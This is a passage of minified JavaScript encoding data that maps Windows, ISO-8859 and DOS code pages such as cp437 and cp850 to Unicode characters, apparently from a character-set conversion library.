FE\xFF"},win1252:"windows1252",cp1252:"windows1252",windows1253:{type:"_sbcs",chars:"\u20AC\uFFFD\u201A\u0192\u201E\u2026\u2020\u2021\uFFFD\u2030\uFFFD\u2039\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\u2018\u2019\u201C\u201D\u2022\u2013\u2014\uFFFD\u2122\uFFFD\u203A\uFFFD\uFFFD\uFFFD\uFFFD\xA0\u0385\u0386\xA3\xA4\xA5\xA6\xA7\xA8\xA9\uFFFD\xAB\xAC\xAD\xAE\u2015\xB0\xB1\xB2\xB3\u0384\xB5\xB6\xB7\u0388\u0389\u038A\xBB\u038C\xBD\u038E\u038F\u0390\u0391\u0392\u0393\u0394\u0395\u0396\u0397\u0398\u0399\u039A\u039B\u039C\u039D\u039E\u039F\u03A0\u03A1\uFFFD\u03A3\u03A4\u03A5\u03A6\u03A7\u03A8\u03A9\u03AA\u03AB\u03AC\u03AD\u03AE\u03AF\u03B0\u03B1\u03B2\u03B3\u03B4\u03B5\u03B6\u03B7\u03B8\u03B9\u03BA\u03BB\u03BC\u03BD\u03BE\u03BF\u03C0\u03C1\u03C2\u03C3\u03C4\u03C5\u03C6\u03C7\u03C8\u03C9\u03CA\u03CB\u03CC\u03CD\u03CE\uFFFD"},win1253:"windows1253",cp1253:"windows1253",windows1254:{type:"_sbcs",chars:"\u20AC\uFFFD\u201A\u0192\u201E\u2026\u2020\u2021\u02C6\u2030\u0160\u2039\u0152\uFFFD\uFFFD\uFFFD\uFFFD\u2018\u2019\u201C\u201D\u2022\u2013\u2014\u02DC\u2122\u0161\u203A\u0153\uFFFD\uFFFD\u0178\xA0\xA1\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9\xAA\xAB\xAC\xAD\xAE\xAF\xB0\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xBB\xBC\xBD\xBE\xBF\xC0\xC1\xC2\xC3\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xCB\xCC\xCD\xCE\xCF\u011E\xD1\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xDB\xDC\u0130\u015E\xDF\xE0\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xEB\xEC\xED\xEE\xEF\u011F\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFB\xFC\u0131\u015F\xFF"},win1254:"windows1254",cp1254:"windows1254",windows1255:{type:"_sbcs",chars:"\u20AC\uFFFD\u201A\u0192\u201E\u2026\u2020\u2021\u02C6\u2030\uFFFD\u2039\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\u2018\u2019\u201C\u201D\u2022\u2013\u2014\u02DC\u2122\uFFFD\u203A\uFFFD\uFFFD\uFFFD\uFFFD\xA0\xA1\xA2\xA3\u20AA\xA5\xA6\xA7\xA8\xA9\xD7\xAB\xAC\xAD\xAE\xAF\xB0\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xF7\xBB\xBC\xBD\xBE\xBF\u05B0\u05B1\u05B2\u05B3\u05B4\u05B5\u05B6\u05B7\u05B8\u05B9\u05BA\u05BB\u05BC\u05BD\u05BE\u05BF\u05C0\u05C1\u05C2\u05C3\u05F0\u05F1\u05F2\u05F3\u05F4\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\u05D0\u05D1\u05D2\u05D3\u05D4\u05D5\u05D6\u05D7\u05D8\u05D9\u05DA\u05DB\u05DC\u05DD\u05DE\u05DF\u05E0\u05E1\u05E2\u05E3\u05E4\u05E5\u05E6\u05E7\u05E8\u05E9\u05EA\uFFFD\uFFFD\u200E\u200F\uFFFD"},win1255:"windows1255",cp1255:"windows1255",windows1256:{type:"_sbcs",chars:"\u20AC\u067E\u201A\u0192\u201E\u2026\u2020\u2021\u02C6\u2030\u0679\u2039\u0152\u0686\u0698\u0688\u06AF\u2018\u2019\u201C\u201D\u2022\u2013\u2014\u06A9\u2122\u0691\u203A\u0153\u200C\u200D\u06BA\xA0\u060C\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9\u06BE\xAB\xAC\xAD\xAE\xAF\xB0\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\u061B\xBB\xBC\xBD\xBE\u061F\u06C1\u0621\u0622\u0623\u0624\u0625\u0626\u0627\u0628\u0629\u062A\u062B\u062C\u062D\u062E\u062F\u0630\u0631\u0632\u0633\u0634\u0635\u0636\xD7\u0637\u0638\u0639\u063A\u0640\u0641\u0642\u0643\xE0\u0644\xE2\u0645\u0646\u0647\u0648\xE7\xE8\xE9\xEA\xEB\u0649\u064A\xEE\xEF\u064B\u064C\u064D\u064E\xF4\u064F\u0650\xF7\u0651\xF9\u0652\xFB\xFC\u200E\u200F\u06D2"},win1256:"windows1256",cp1256:"windows1256",windows1257:{type:"_sbcs",chars:"\u20AC\uFFFD\u201A\uFFFD\u201E\u2026\u2020\u2021\uFFFD\u2030\uFFFD\u2039\uFFFD\xA8\u02C7\xB8\uFFFD\u2018\u2019\u201C\u201D\u2022\u2013\u2014\uFFFD\u2122\uFFFD\u203A\uFFFD\xAF\u02DB\uFFFD\xA0\uFFFD\xA2\xA3\xA4\uFFFD\xA6\xA7\xD8\xA9\u0156\xAB\xAC\xAD\xAE\xC6\xB0\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xF8\xB9\u0157\xBB\xBC\xBD\xBE\xE6\u0104\u012E\u0100\u0106\xC4\xC5\u0118\u0112\u010C\xC9\u0179\u0116\u0122\u0136\u012A\u013B\u0160\u0143\u0145\xD3\u014C\xD5\xD6\xD7\u0172\u0141\u015A\u016A\xDC\u017B\u017D\xDF\u0105\u012F\u0101\u0107\xE4\xE5\u0119\u0113\u010D\xE9\u017A\u0117\u0123\u0137\u012B\u013C\u0161\u0144\u0146\xF3\u014D\xF5\xF6\xF7\u0173\u0142\u015B\u016B\xFC\u017C\u017E\u02D9"},win1257:"windows1257",cp1257:"windows1257",windows1258:{type:"_sbcs",chars:"\u20AC\uFFFD\u201A\u0192\u201E\u2026\u2020\u2021\u02C6\u2030\uFFFD\u2039\u0152\uFFFD\uFFFD\uFFFD\uFFFD\u2018\u2019\u201C\u201D\u2022\u2013\u2014\u02DC\u2122\uFFFD\u203A\u0153\uFFFD\uFFFD\u0178\xA0\xA1\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9\xAA\xAB\xAC\xAD\xAE\xAF\xB0\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xBB\xBC\xBD\xBE\xBF\xC0\xC1\xC2\u0102\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xCB\u0300\xCD\xCE\xCF\u0110\xD1\u0309\xD3\xD4\u01A0\xD6\xD7\xD8\xD9\xDA\xDB\xDC\u01AF\u0303\xDF\xE0\xE1\xE2\u0103\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xEB\u0301\xED\xEE\xEF\u0111\xF1\u0323\xF3\xF4\u01A1\xF6\xF7\xF8\xF9\xFA\xFB\xFC\u01B0\u20AB\xFF"},win1258:"windows1258",cp1258:"windows1258",iso88591:{type:"_sbcs",chars:"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\xA1\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9\xAA\xAB\xAC\xAD\xAE\xAF\xB0\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xBB\xBC\xBD\xBE\xBF\xC0\xC1\xC2\xC3\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xCB\xCC\xCD\xCE\xCF\xD0\xD1\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xDB\xDC\xDD\xDE\xDF\xE0\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xEB\xEC\xED\xEE\xEF\xF0\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFB\xFC\xFD\xFE\xFF"},cp28591:"iso88591",iso88592:{type:"_sbcs",chars:"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\u0104\u02D8\u0141\xA4\u013D\u015A\xA7\xA8\u0160\u015E\u0164\u0179\xAD\u017D\u017B\xB0\u0105\u02DB\u0142\xB4\u013E\u015B\u02C7\xB8\u0161\u015F\u0165\u017A\u02DD\u017E\u017C\u0154\xC1\xC2\u0102\xC4\u0139\u0106\xC7\u010C\xC9\u0118\xCB\u011A\xCD\xCE\u010E\u0110\u0143\u0147\xD3\xD4\u0150\xD6\xD7\u0158\u016E\xDA\u0170\xDC\xDD\u0162\xDF\u0155\xE1\xE2\u0103\xE4\u013A\u0107\xE7\u010D\xE9\u0119\xEB\u011B\xED\xEE\u010F\u0111\u0144\u0148\xF3\xF4\u0151\xF6\xF7\u0159\u016F\xFA\u0171\xFC\xFD\u0163\u02D9"},cp28592:"iso88592",iso88593:{type:"_sbcs",chars:"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\u0126\u02D8\xA3\xA4\uFFFD\u0124\xA7\xA8\u0130\u015E\u011E\u0134\xAD\uFFFD\u017B\xB0\u0127\xB2\xB3\xB4\xB5\u0125\xB7\xB8\u0131\u015F\u011F\u0135\xBD\uFFFD\u017C\xC0\xC1\xC2\uFFFD\xC4\u010A\u0108\xC7\xC8\xC9\xCA\xCB\xCC\xCD\xCE\xCF\uFFFD\xD1\xD2\xD3\xD4\u0120\xD6\xD7\u011C\xD9\xDA\xDB\xDC\u016C\u015C\xDF\xE0\xE1\xE2\uFFFD\xE4\u010B\u0109\xE7\xE8\xE9\xEA\xEB\xEC\xED\xEE\xEF\uFFFD\xF1\xF2\xF3\xF4\u0121\xF6\xF7\u011D\xF9\xFA\xFB\xFC\u016D\u015D\u02D9"},cp28593:"iso88593",iso88594:{type:"_sbcs",chars:"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\u0104\u0138\u0156\xA4\u0128\u013B\xA7\xA8\u0160\u0112\u0122\u0166\xAD\u017D\xAF\xB0\u0105\u02DB\u0157\xB4\u0129\u013C\u02C7\xB8\u0161\u0113\u0123\u0167\u014A\u017E\u014B\u0100\xC1\xC2\xC3\xC4\xC5\xC6\u012E\u010C\xC9\u0118\xCB\u0116\xCD\xCE\u012A\u0110\u0145\u014C\u0136\xD4\xD5\xD6\xD7\xD8\u0172\xDA\xDB\xDC\u0168\u016A\xDF\u0101\xE1\xE2\xE3\xE4\xE5\xE6\u012F\u010D\xE9\u0119\xEB\u0117\xED\xEE\u012B\u0111\u0146\u014D\u0137\xF4\xF5\xF6\xF7\xF8\u0173\xFA\xFB\xFC\u0169\u016B\u02D9"},cp28594:"iso88594",iso88595:{type:"_sbcs",chars:"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\u0401\u0402\u0403\u0404\u0405\u0406\u0407\u0408\u0409\u040A\u040B\u040C\xAD\u040E\u040F\u0410\u0411\u0412\u0413\u0414\u0415\u0416\u0417\u0418\u0419\u041A\u041B\u041C\u041D\u041E\u041F\u0420\u0421\u0422\u0423\u0424\u0425\u0426\u0427\u0428\u0429\u042A\u042B\u042C\u042D\u042E\u042F\u0430\u0431\u0432\u0433\u0434\u0435\u0436\u0437\u0438\u0439\u043A\u043B\u043C\u043D\u043E\u043F\u0440\u0441\u0442\u0443\u0444\u0445\u0446\u0447\u0448\u0449\u044A\u044B\u044C\u044D\u044E\u044F\u2116\u0451\u0452\u0453\u0454\u0455\u0456\u0457\u0458\u0459\u045A\u045B\u045C\xA7\u045E\u045F"},cp28595:"iso88595",iso88596:{type:"_sbcs",chars:"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\uFFFD\uFFFD\uFFFD\xA4\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\u060C\xAD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\u061B\uFFFD\uFFFD\uFFFD\u061F\uFFFD\u0621\u0622\u0623\u0624\u0625\u0626\u0627\u0628\u0629\u062A\u062B\u062C\u062D\u062E\u062F\u0630\u0631\u0632\u0633\u0634\u0635\u0636\u0637\u0638\u0639\u063A\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\u0640\u0641\u0642\u0643\u0644\u0645\u0646\u0647\u0648\u0649\u064A\u064B\u064C\u064D\u064E\u064F\u0650\u0651\u0652\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD"},cp28596:"iso88596",iso88597:{type:"_sbcs",chars:"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\u2018\u2019\xA3\u20AC\u20AF\xA6\xA7\xA8\xA9\u037A\xAB\xAC\xAD\uFFFD\u2015\xB0\xB1\xB2\xB3\u0384\u0385\u0386\xB7\u0388\u0389\u038A\xBB\u038C\xBD\u038E\u038F\u0390\u0391\u0392\u0393\u0394\u0395\u0396\u0397\u0398\u0399\u039A\u039B\u039C\u039D\u039E\u039F\u03A0\u03A1\uFFFD\u03A3\u03A4\u03A5\u03A6\u03A7\u03A8\u03A9\u03AA\u03AB\u03AC\u03AD\u03AE\u03AF\u03B0\u03B1\u03B2\u03B3\u03B4\u03B5\u03B6\u03B7\u03B8\u03B9\u03BA\u03BB\u03BC\u03BD\u03BE\u03BF\u03C0\u03C1\u03C2\u03C3\u03C4\u03C5\u03C6\u03C7\u03C8\u03C9\u03CA\u03CB\u03CC\u03CD\u03CE\uFFFD"},cp28597:"iso88597",iso88598:{type:"_sbcs",chars:"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\uFFFD\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9\xD7\xAB\xAC\xAD\xAE\xAF\xB0\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xF7\xBB\xBC\xBD\xBE\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\u2017\u05D0\u05D1\u05D2\u05D3\u05D4\u05D5\u05D6\u05D7\u05D8\u05D9\u05DA\u05DB\u05DC\u05DD\u05DE\u05DF\u05E0\u05E1\u05E2\u05E3\u05E4\u05E5\u05E6\u05E7\u05E8\u05E9\u05EA\uFFFD\uFFFD\u200E\u200F\uFFFD"},cp28598:"iso88598",iso88599:{type:"_sbcs",chars:"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\xA1\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9\xAA\xAB\xAC\xAD\xAE\xAF\xB0\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xBB\xBC\xBD\xBE\xBF\xC0\xC1\xC2\xC3\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xCB\xCC\xCD\xCE\xCF\u011E\xD1\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xDB\xDC\u0130\u015E\xDF\xE0\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xEB\xEC\xED\xEE\xEF\u011F\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFB\xFC\u0131\u015F\xFF"},cp28599:"iso88599",iso885910:{type:"_sbcs",chars:"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\u0104\u0112\u0122\u012A\u0128\u0136\xA7\u013B\u0110\u0160\u0166\u017D\xAD\u016A\u014A\xB0\u0105\u0113\u0123\u012B\u0129\u0137\xB7\u013C\u0111\u0161\u0167\u017E\u2015\u016B\u014B\u0100\xC1\xC2\xC3\xC4\xC5\xC6\u012E\u010C\xC9\u0118\xCB\u0116\xCD\xCE\xCF\xD0\u0145\u014C\xD3\xD4\xD5\xD6\u0168\xD8\u0172\xDA\xDB\xDC\xDD\xDE\xDF\u0101\xE1\xE2\xE3\xE4\xE5\xE6\u012F\u010D\xE9\u0119\xEB\u0117\xED\xEE\xEF\xF0\u0146\u014D\xF3\xF4\xF5\xF6\u0169\xF8\u0173\xFA\xFB\xFC\xFD\xFE\u0138"},cp28600:"iso885910",iso885911:{type:"_sbcs",chars:"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\u0E01\u0E02\u0E03\u0E04\u0E05\u0E06\u0E07\u0E08\u0E09\u0E0A\u0E0B\u0E0C\u0E0D\u0E0E\u0E0F\u0E10\u0E11\u0E12\u0E13\u0E14\u0E15\u0E16\u0E17\u0E18\u0E19\u0E1A\u0E1B\u0E1C\u0E1D\u0E1E\u0E1F\u0E20\u0E21\u0E22\u0E23\u0E24\u0E25\u0E26\u0E27\u0E28\u0E29\u0E2A\u0E2B\u0E2C\u0E2D\u0E2E\u0E2F\u0E30\u0E31\u0E32\u0E33\u0E34\u0E35\u0E36\u0E37\u0E38\u0E39\u0E3A\uFFFD\uFFFD\uFFFD\uFFFD\u0E3F\u0E40\u0E41\u0E42\u0E43\u0E44\u0E45\u0E46\u0E47\u0E48\u0E49\u0E4A\u0E4B\u0E4C\u0E4D\u0E4E\u0E4F\u0E50\u0E51\u0E52\u0E53\u0E54\u0E55\u0E56\u0E57\u0E58\u0E59\u0E5A\u0E5B\uFFFD\uFFFD\uFFFD\uFFFD"},cp28601:"iso885911",iso885913:{type:"_sbcs",chars:"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\u201D\xA2\xA3\xA4\u201E\xA6\xA7\xD8\xA9\u0156\xAB\xAC\xAD\xAE\xC6\xB0\xB1\xB2\xB3\u201C\xB5\xB6\xB7\xF8\xB9\u0157\xBB\xBC\xBD\xBE\xE6\u0104\u012E\u0100\u0106\xC4\xC5\u0118\u0112\u010C\xC9\u0179\u0116\u0122\u0136\u012A\u013B\u0160\u0143\u0145\xD3\u014C\xD5\xD6\xD7\u0172\u0141\u015A\u016A\xDC\u017B\u017D\xDF\u0105\u012F\u0101\u0107\xE4\xE5\u0119\u0113\u010D\xE9\u017A\u0117\u0123\u0137\u012B\u013C\u0161\u0144\u0146\xF3\u014D\xF5\xF6\xF7\u0173\u0142\u015B\u016B\xFC\u017C\u017E\u2019"},cp28603:"iso885913",iso885914:{type:"_sbcs",chars:"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\u1E02\u1E03\xA3\u010A\u010B\u1E0A\xA7\u1E80\xA9\u1E82\u1E0B\u1EF2\xAD\xAE\u0178\u1E1E\u1E1F\u0120\u0121\u1E40\u1E41\xB6\u1E56\u1E81\u1E57\u1E83\u1E60\u1EF3\u1E84\u1E85\u1E61\xC0\xC1\xC2\xC3\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xCB\xCC\xCD\xCE\xCF\u0174\xD1\xD2\xD3\xD4\xD5\xD6\u1E6A\xD8\xD9\xDA\xDB\xDC\xDD\u0176\xDF\xE0\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xEB\xEC\xED\xEE\xEF\u0175\xF1\xF2\xF3\xF4\xF5\xF6\u1E6B\xF8\xF9\xFA\xFB\xFC\xFD\u0177\xFF"},cp28604:"iso885914",iso885915:{type:"_sbcs",chars:"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\xA1\xA2\xA3\u20AC\xA5\u0160\xA7\u0161\xA9\xAA\xAB\xAC\xAD\xAE\xAF\xB0\xB1\xB2\xB3\u017D\xB5\xB6\xB7\u017E\xB9\xBA\xBB\u0152\u0153\u0178\xBF\xC0\xC1\xC2\xC3\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xCB\xCC\xCD\xCE\xCF\xD0\xD1\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xDB\xDC\xDD\xDE\xDF\xE0\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xEB\xEC\xED\xEE\xEF\xF0\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFB\xFC\xFD\xFE\xFF"},cp28605:"iso885915",iso885916:{type:"_sbcs",chars:"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\u0104\u0105\u0141\u20AC\u201E\u0160\xA7\u0161\xA9\u0218\xAB\u0179\xAD\u017A\u017B\xB0\xB1\u010C\u0142\u017D\u201D\xB6\xB7\u017E\u010D\u0219\xBB\u0152\u0153\u0178\u017C\xC0\xC1\xC2\u0102\xC4\u0106\xC6\xC7\xC8\xC9\xCA\xCB\xCC\xCD\xCE\xCF\u0110\u0143\xD2\xD3\xD4\u0150\xD6\u015A\u0170\xD9\xDA\xDB\xDC\u0118\u021A\xDF\xE0\xE1\xE2\u0103\xE4\u0107\xE6\xE7\xE8\xE9\xEA\xEB\xEC\xED\xEE\xEF\u0111\u0144\xF2\xF3\xF4\u0151\xF6\u015B\u0171\xF9\xFA\xFB\xFC\u0119\u021B\xFF"},cp28606:"iso885916",cp437:{type:"_sbcs",chars:"\xC7\xFC\xE9\xE2\xE4\xE0\xE5\xE7\xEA\xEB\xE8\xEF\xEE\xEC\xC4\xC5\xC9\xE6\xC6\xF4\xF6\xF2\xFB\xF9\xFF\xD6\xDC\xA2\xA3\xA5\u20A7\u0192\xE1\xED\xF3\xFA\xF1\xD1\xAA\xBA\xBF\u2310\xAC\xBD\xBC\xA1\xAB\xBB\u2591\u2592\u2593\u2502\u2524\u2561\u2562\u2556\u2555\u2563\u2551\u2557\u255D\u255C\u255B\u2510\u2514\u2534\u252C\u251C\u2500\u253C\u255E\u255F\u255A\u2554\u2569\u2566\u2560\u2550\u256C\u2567\u2568\u2564\u2565\u2559\u2558\u2552\u2553\u256B\u256A\u2518\u250C\u2588\u2584\u258C\u2590\u2580\u03B1\xDF\u0393\u03C0\u03A3\u03C3\xB5\u03C4\u03A6\u0398\u03A9\u03B4\u221E\u03C6\u03B5\u2229\u2261\xB1\u2265\u2264\u2320\u2321\xF7\u2248\xB0\u2219\xB7\u221A\u207F\xB2\u25A0\xA0"},ibm437:"cp437",csibm437:"cp437",cp737:{type:"_sbcs",chars:"\u0391\u0392\u0393\u0394\u0395\u0396\u0397\u0398\u0399\u039A\u039B\u039C\u039D\u039E\u039F\u03A0\u03A1\u03A3\u03A4\u03A5\u03A6\u03A7\u03A8\u03A9\u03B1\u03B2\u03B3\u03B4\u03B5\u03B6\u03B7\u03B8\u03B9\u03BA\u03BB\u03BC\u03BD\u03BE\u03BF\u03C0\u03C1\u03C3\u03C2\u03C4\u03C5\u03C6\u03C7\u03C8\u2591\u2592\u2593\u2502\u2524\u2561\u2562\u2556\u2555\u2563\u2551\u2557\u255D\u255C\u255B\u2510\u2514\u2534\u252C\u251C\u2500\u253C\u255E\u255F\u255A\u2554\u2569\u2566\u2560\u2550\u256C\u2567\u2568\u2564\u2565\u2559\u2558\u2552\u2553\u256B\u256A\u2518\u250C\u2588\u2584\u258C\u2590\u2580\u03C9\u03AC\u03AD\u03AE\u03CA\u03AF\u03CC\u03CD\u03CB\u03CE\u0386\u0388\u0389\u038A\u038C\u038E\u038F\xB1\u2265\u2264\u03AA\u03AB\xF7\u2248\xB0\u2219\xB7\u221A\u207F\xB2\u25A0\xA0"},ibm737:"cp737",csibm737:"cp737",cp775:{type:"_sbcs",chars:"\u0106\xFC\xE9\u0101\xE4\u0123\xE5\u0107\u0142\u0113\u0156\u0157\u012B\u0179\xC4\xC5\xC9\xE6\xC6\u014D\xF6\u0122\xA2\u015A\u015B\xD6\xDC\xF8\xA3\xD8\xD7\xA4\u0100\u012A\xF3\u017B\u017C\u017A\u201D\xA6\xA9\xAE\xAC\xBD\xBC\u0141\xAB\xBB\u2591\u2592\u2593\u2502\u2524\u0104\u010C\u0118\u0116\u2563\u2551\u2557\u255D\u012E\u0160\u2510\u2514\u2534\u252C\u251C\u2500\u253C\u0172\u016A\u255A\u2554\u2569\u2566\u2560\u2550\u256C\u017D\u0105\u010D\u0119\u0117\u012F\u0161\u0173\u016B\u017E\u2518\u250C\u2588\u2584\u258C\u2590\u2580\xD3\xDF\u014C\u0143\xF5\xD5\xB5\u0144\u0136\u0137\u013B\u013C\u0146\u0112\u0145\u2019\xAD\xB1\u201C\xBE\xB6\xA7\xF7\u201E\xB0\u2219\xB7\xB9\xB3\xB2\u25A0\xA0"},ibm775:"cp775",csibm775:"cp775",cp850:{type:"_sbcs",chars:"\xC7\xFC\xE9\xE2\xE4\xE0\xE5\xE7\xEA\xEB\xE8\xEF\xEE\xEC\xC4\xC5\xC9\xE6\xC6\xF4\xF6\xF2\xFB\xF9\xFF\xD6\xDC\xF8\xA3\xD8\xD7\u0192\xE1\xED\xF3\xFA\xF1\xD1\xAA\xBA\xBF\xAE\xAC\xBD\xBC\xA1\xAB\xBB\u2591\u2592\u2593\u2502\u2524\xC1\xC2\xC0\xA9\u2563\u2551\u2557\u255D\xA2\xA5\u2510\u2514\u2534\u252C\u251C\u2500\u253C\xE3\xC3\u255A\u2554\u2569\u2566\u2560\u2550\u256C\xA4\xF0\xD0\xCA\xCB\xC8\u0131\xCD\xCE\xCF\u2518\u250C\u2588\u2584\xA6\xCC\u2580\xD3\xDF\xD4\xD2\xF5\xD5\xB5\xFE\xDE\xDA\xDB\xD9\xFD\xDD\xAF\xB4\xAD\xB1\u2017\xBE\xB6\xA7\xF7\xB8\xB0\xA8\xB7\xB9\xB3\xB2\u25A0\xA0"},ibm850:"cp850",csibm850:"cp850",cp852:{type:"_sbcs",chars:"\xC7\xFC\xE9\xE2\xE4\u016F\u0107\xE7\u0142\xEB\u0150\u0151\xEE\u0179\xC4\u0106\xC9\u0139\u013A\xF4\xF6\u013D\u013E\u015A\u015B\xD6\xDC\u0164\u0165\u0141\xD7\u010D\xE1\xED\xF3\xFA\u0104\u0105\u017D\u017E\u0118\u0119\xAC\u017A\u010C\u015F\xAB\xBB\u2591\u2592\u2593\u2502\u2524\xC1\xC2\u011A\u015E\u2563\u2551\u2557\u255D\u017B\u017C\u2510\u2514\u2534\u252C\u251C\u2500\u253C\u0102\u0103\u255A\u2554\u2569\u2566\u2560\u2550\u256C\xA4\u0111\u0110\u010E\xCB\u010F\u0147\xCD\xCE\u011B\u2518\u250C\u2588\u2584\u0162\u016E\u2580\xD3\xDF\xD4\u0143\u0144\u0148\u0160\u0161\u0154\xDA\u0155\u0170\xFD\xDD\u0163\xB4\xAD\u02DD\u02DB\u02C7\u02D8\xA7\xF7\xB8\xB0\xA8\u02D9\u0171\u0158\u0159\u25A0\xA0"},ibm852:"cp852",csibm852:"cp852",cp855:{type:"_sbcs",chars:"\u0452\u0402\u0453\u0403\u0451\u0401\u0454\u0404\u0455\u0405\u0456\u0406\u0457\u0407\u0458\u0408\u0459\u0409\u045A\u040A\u045B\u040B\u045C\u040C\u045E\u040E\u045F\u040F\u044E\u042E\u044A\u042A\u0430\u0410\u0431\u0411\u0446\u0426\u0434\u0414\u0435\u0415\u0444\u0424\u0433\u0413\xAB\xBB\u2591\u2592\u2593\u2502\u2524\u0445\u0425\u0438\u0418\u2563\u2551\u2557\u255D\u0439\u0419\u2510\u2514\u2534\u25